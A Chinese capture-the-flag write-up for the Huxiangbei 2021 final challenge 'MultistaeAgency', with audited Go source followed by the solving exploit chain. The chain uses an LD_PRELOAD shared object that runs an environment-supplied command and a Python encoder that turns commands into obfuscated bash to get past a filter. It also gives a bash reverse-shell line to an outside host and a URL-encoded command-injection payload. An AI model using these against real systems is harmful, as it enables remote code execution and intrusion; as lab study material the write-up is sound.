[湖湘杯 2021 final]MultistaeAgency

2023-12-13 01:28

本文主要是介绍[湖湘杯 2021 final]MultistaeAgency,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录


题目是给了源码,我们先来看web的main.go

package mainimport ("bytes""crypto/md5""encoding/json""fmt""io""io/ioutil""log""math/rand""net/http""os""os/exec""path/filepath""strings"
)var SecretKey = ""type TokenResult struct {Success string `json:"success"`Failed string `json:"failed"`
}const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
func RandStringBytes(n int) string {b := make([]byte, n)for i := range b {b[i] = letterBytes[rand.Intn(len(letterBytes))]}return string(b)
}func getToken(w http.ResponseWriter, r *http.Request) {values := r.URL.Query()fromHostList := strings.Split(r.RemoteAddr, ":")fromHost := ""if len(fromHostList) == 2 {fromHost = fromHostList[0]}r.Header.Set("Fromhost", fromHost)command := exec.Command("curl", "-H", "Fromhost: "+fromHost, "127.0.0.1:9091")for k, _ := range values {command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k)))}outinfo := bytes.Buffer{}outerr := bytes.Buffer{}command.Stdout = &outinfocommand.Stderr = &outerrerr := command.Start()//res := "ERROR"if err != nil {fmt.Println(err.Error())}res := TokenResult{}if err = command.Wait(); err != nil {res.Failed = outerr.String()}res.Success = outinfo.String()msg, _ := json.Marshal(res)w.Write(msg)}type ListFileResult struct {Files []string `json:"files"`
}// 查看当前 token 下的文件
func listFile(w http.ResponseWriter, r *http.Request) {values := r.URL.Query()token := values.Get("token")fromHostList := strings.Split(r.RemoteAddr, ":")fromHost := ""if len(fromHostList) == 2 {fromHost = fromHostList[0]}// 验证tokenif token != "" && checkToken(token, fromHost) {dir := filepath.Join("uploads",token)files, err := ioutil.ReadDir(dir)if err == nil {var fs []stringfor _, f := range files {fs = append(fs, f.Name())}msg, _ := json.Marshal(ListFileResult{Files: fs})w.Write(msg)}}}type UploadFileResult struct {Code string `json:"code"`
}func uploadFile(w http.ResponseWriter, r *http.Request) {if r.Method == "GET" {fmt.Fprintf(w, "get")} else {values := r.URL.Query()token := values.Get("token")fromHostList := strings.Split(r.RemoteAddr, ":")fromHost := ""if len(fromHostList) == 2 {fromHost = fromHostList[0]}//验证tokenif token != "" && checkToken(token, fromHost) {dir := filepath.Join("uploads",token)if _, err := os.Stat(dir); err != nil {os.MkdirAll(dir, 0766)}files, err := ioutil.ReadDir(dir)if len(files) > 5 {command := exec.Command("curl", "127.0.0.1:9091/manage")command.Start()}r.ParseMultipartForm(32 << 20)file, _, err := r.FormFile("file")if err != nil {msg, _ := json.Marshal(UploadFileResult{Code: err.Error()})w.Write(msg)return}defer file.Close()fileName := RandStringBytes(5)f, err := os.OpenFile(filepath.Join(dir, fileName), os.O_WRONLY|os.O_CREATE, 0666)if err != nil {fmt.Println(err)return}defer f.Close()io.Copy(f, file)msg, _ := json.Marshal(UploadFileResult{Code: fileName})w.Write(msg)} else {msg, _ := json.Marshal(UploadFileResult{Code: "ERROR TOKEN"})w.Write(msg)}}
}func checkToken(token, ip string) bool {data := []byte(SecretKey + ip)has := md5.Sum(data)md5str := fmt.Sprintf("%x", has)return md5str == token
}func IndexHandler (w http.ResponseWriter, r *http.Request) {http.ServeFile(w, r,"dist/index.html")
}func main() {file, err := os.Open("secret/key")if err != nil {panic(err)}defer file.Close()content, err := ioutil.ReadAll(file)SecretKey = string(content)http.HandleFunc("/", IndexHandler)fs := http.FileServer(http.Dir("dist/static"))http.Handle("/static/", http.StripPrefix("/static/", fs))http.HandleFunc("/token", getToken)http.HandleFunc("/upload", uploadFile)http.HandleFunc("/list", listFile)log.Print("start listen 9090")err = http.ListenAndServe(":9090", nil)if err != nil {log.Fatal("ListenAndServe: ", err)}
}

我们按照main主函数分析

  1. /token路由下调用getToken函数,获取url中的查询参数赋值给value,继续检查ip是否为127.0.0.1:80这样合法的,赋值给fromhost,接着执行curl命令去向127.0.0.1:9091发送请求,最后会将url中的查询参数的键名和键值赋值给环境变量
  2. /upload路由下调用uploadFile函数,会验证token值,然后拼接上传路径为/uploads/token值/文件名,文件名是由RandStringBytes函数生成五位随机字符
  3. /list路由下调用listFile函数,根据传参的token值进行验证并列出上传文件

看proxy的main.go,开放在 8080 端口

package mainimport ("github.com/elazarl/goproxy""io/ioutil""log""net/http""os"
)func main() {file, err := os.Open("secret/key")if err != nil {panic(err)}defer file.Close()content, err := ioutil.ReadAll(file)SecretKey := string(content)proxy := goproxy.NewProxyHttpServer()proxy.Verbose = trueproxy.OnRequest().DoFunc(func(r *http.Request,ctx *goproxy.ProxyCtx)(*http.Request,*http.Response) {r.Header.Set("Secretkey",SecretKey)return r,nil})log.Print("start listen 8080")log.Fatal(http.ListenAndServe(":8080", proxy))
}

继续分析server的main.go

package mainimport ("bytes""crypto/md5""fmt""io/ioutil""log""net/http""os""os/exec""unicode"
)// 检查来源ip为本地才继续执行var SecretKey = ""func getToken(w http.ResponseWriter, r *http.Request) {header := r.Headertoken := "error"var sks []string = header["Secretkey"]sk := ""if len(sks) == 1 {sk = sks[0]}var fromHosts []string = header["Fromhost"]fromHost := ""if len(fromHosts) == 1 {fromHost = fromHosts[0]}if fromHost != "" && sk != "" && sk == SecretKey {data := []byte(sk + fromHost)has := md5.Sum(data)token = fmt.Sprintf("%x", has)}fmt.Fprintf(w, token)
}func manage(w http.ResponseWriter, r *http.Request) {values := r.URL.Query()m := values.Get("m")if !waf(m) {fmt.Fprintf(w, "waf!")return}cmd := fmt.Sprintf("rm -rf uploads/%s", m)fmt.Println(cmd)command := exec.Command("bash", "-c", cmd)outinfo := bytes.Buffer{}outerr := bytes.Buffer{}command.Stdout = &outinfocommand.Stderr = &outerrerr := command.Start()res := "ERROR"if err != nil {fmt.Println(err.Error())}if err = command.Wait(); err != nil {res = outerr.String()} else {res = outinfo.String()}fmt.Fprintf(w, res)
}func waf(c string) bool {var t int32t = 0blacklist := []string{".", "*", "?"}for _, s := range c {for _, b := range blacklist {if b == string(s) {return false}}if unicode.IsLetter(s) {if t == s {continue}if t == 0 {t = s} else {return false}}}return true
}func main() {file, err := os.Open("secret/key")if err != nil {panic(err)}defer file.Close()content, err := ioutil.ReadAll(file)SecretKey = string(content)http.HandleFunc("/", getToken)     //设置访问的路由http.HandleFunc("/manage", manage) //设置访问的路由log.Print("start listen 9091")err = http.ListenAndServe(":9091", nil) //设置监听的端口if err != nil {log.Fatal("ListenAndServe: ", err)}
}
  1. /路由下调用getToken函数,检查来源ip为本地才继续执行
  2. /manage路由下调用manage函数,接收参数m并对其黑名单检测,不能出现.*?,同时字母,则只能出现一个,不过该字母可重复。将m值与rm -rf uploads/拼接赋值给cmd也就是要执行的命令,然后bash执行

代码审计完后整理下,web的main.go的getToken函数环境变量可控的,那么我们可以LD_PRELOAD绕过,RCE的关键地方就是/manage路由的执行bash命令,参数为cmd,不过cmd的值是由参数m拼接后的,所以我们可以自己创建cmd值从环境变量中获取,这样执行的就是我们的恶意命令
exp如下

#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");const char* cmd = getenv("CMD");system(cmd);
}

gcc进行编译

gcc -shared -fPIC 1.c -o 1.so

上传文件,然后F12在网络处发现token值,得到的方法是?http_proxy=127.0.0.1:8080
在这里插入图片描述
不过这里的文件路径有点小坑,我们查看下dockerfile
会发现目录其实是/code
在这里插入图片描述
所以我们上传后,payload如下

/token?LD_PRELOAD=/code/uploads/787f4b212c06816f264e6afc80e43a02/XVlBz&CMD=ls /

在这里插入图片描述
但是我们读取flag的时候发现不行,原因就在于权限不够
(dockerfile中也可以发现权限是400)

我们正常的命令执行是通过参数m来控制,并且监听的是9091端口
在这里插入图片描述那么我们可以绕过对m的waf,然后反弹shell到的靶机上用curl命令去弹127.0.0.1:9091/manage命令执行即可
bash -c 'bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'url编码一下,反弹shell
在这里插入图片描述

绕过waf的脚本如下

import sys
from urllib.parse import quote# a = "bash -c 'expr $(grep + /tmp/out)' | /get_flag > /tmp/out; cat /tmp/out"
a = 'cat /flag'
if len(sys.argv) == 2:a = sys.argv[1]out = r"${!#}<<<{"for c in "bash -c ":if c == ' ':out += ','continueout += r"\$\'\\"out += r"$(($((${##}<<${##}))#"for binchar in bin(int(oct(ord(c))[2:]))[2:]:if binchar == '1':out += r"${##}"else:out += r"$#"out += r"))"out += r"\'"out += r"\$\'"
for c in a:out += r"\\"out += r"$(($((${##}<<${##}))#"for binchar in bin(int(oct(ord(c))[2:]))[2:]:if binchar == '1':out += r"${##}"else:out += r"$#"out += r"))"
out += r"\'"out += "}"
print('out =', out)
print('quote(out) =', quote(out))

m是会与前面rm命令拼接,所以用分号;隔开,构造;cat /flag
然后分号编码一下为%3b,payload如下

curl http://127.0.0.1:9091/manage?m=%3b%24%7B%21%23%7D%3C%3C%3C%7B%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%7D

得到flag
在这里插入图片描述

这篇关于[湖湘杯 2021 final]MultistaeAgency的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/486667

相关文章

GPU 计算 CMPS224 2021 学习笔记 02

并行类型 (1)任务并行 (2)数据并行 CPU & GPU CPU和GPU拥有相互独立的内存空间,需要在两者之间相互传输数据。 (1)分配GPU内存 (2)将CPU上的数据复制到GPU上 (3)在GPU上对数据进行计算操作 (4)将计算结果从GPU复制到CPU上 (5)释放GPU内存 CUDA内存管理API (1)分配内存 cudaErro

2021-8-14 react笔记-2 创建组件 基本用法

1、目录解析 public中的index.html为入口文件 src目录中文件很乱,先整理文件夹。 新建components 放组件 新建assets放资源   ->/images      ->/css 把乱的文件放进去  修改App.js 根组件和index.js入口文件中的引入路径 2、新建组件 在components文件夹中新建[Name].js文件 //组件名首字母大写

2021-08-14 react笔记-1 安装、环境搭建、创建项目

1、环境 1、安装nodejs 2.安装react脚手架工具 //  cnpm install -g create-react-app 全局安装 2、创建项目 create-react-app [项目名称] 3、运行项目 npm strat  //cd到项目文件夹    进入这个页面  代表运行成功  4、打包 npm run build

[SWPUCTF 2021 新生赛]web方向(一到六题) 解题思路,实操解析,解题软件使用,解题方法教程

题目来源 NSSCTF | 在线CTF平台因为热爱,所以长远!NSSCTF平台秉承着开放、自由、共享的精神,欢迎每一个CTFer使用。https://www.nssctf.cn/problem   [SWPUCTF 2021 新生赛]gift_F12 这个题目简单打开后是一个网页  我们一般按F12或者是右键查看源代码。接着我们点击ctrl+f后快速查找,根据题目给的格式我们搜索c

【面试个人成长】2021年过半,社招和校招的经验之谈

点击上方蓝色字体,选择“设为星标” 回复”资源“获取更多资源 长话短说。 今天有点晚,因为一些事情耽误了,文章发出来有些晚。 周末的时候和一个知识星球的读者1对1指导了一些应届生的学习路径和简历准备。 因为马上就要秋招了,有些公司的提前批已经启动。2021年已经过半了,各位。时间真是太快了。 正好周末抽了一点时间看之前买的关于面试的电子书,针对校招和社招的面试准备和需要注意的点在啰嗦几句。 校

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之Spark篇

欢迎关注博客主页:https://blog.csdn.net/u013411339 欢迎点赞、收藏、留言 ,欢迎留言交流! 本文由【王知无】原创,首发于 CSDN博客! 本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接: 2021年从零到大数据专家的

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之消息队列篇

📢欢迎关注博客主页:https://blog.csdn.net/u013411339 📢欢迎点赞 👍 收藏 ⭐留言 📝 ,欢迎留言交流! 📢本文由【王知无】原创,首发于 CSDN博客! 📢本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接:

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之SparkSQL篇

📢欢迎关注博客主页:https://blog.csdn.net/u013411339 📢欢迎点赞 👍 收藏 ⭐留言 📝 ,欢迎留言交流! 📢本文由【王知无】原创,首发于 CSDN博客! 📢本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接:

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之Hadoop/HDFS/Yarn篇

📢欢迎关注博客主页:https://blog.csdn.net/u013411339 📢欢迎点赞 👍 收藏 ⭐留言 📝 ,欢迎留言交流! 📢本文由【王知无】原创,首发于 CSDN博客! 📢本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接:

【HDU】3986 Harry Potter and the Final Battle 最短路

传送门:【HDU】3986 Harry Potter and the Final Battle 题目分析:先求一次最短路,同时记录在最短路上的顶点以及以该顶点为弧尾的最短路上的边。然后枚举删除每一条边,分别求一次最短路,其中最大的即答案。当然不可达输出-1。 测试发现堆优化的dij不如slf优化的spfa。。可能图太稀疏了吧。。。反正我觉得我写的挺搓的了。。。 代码如下: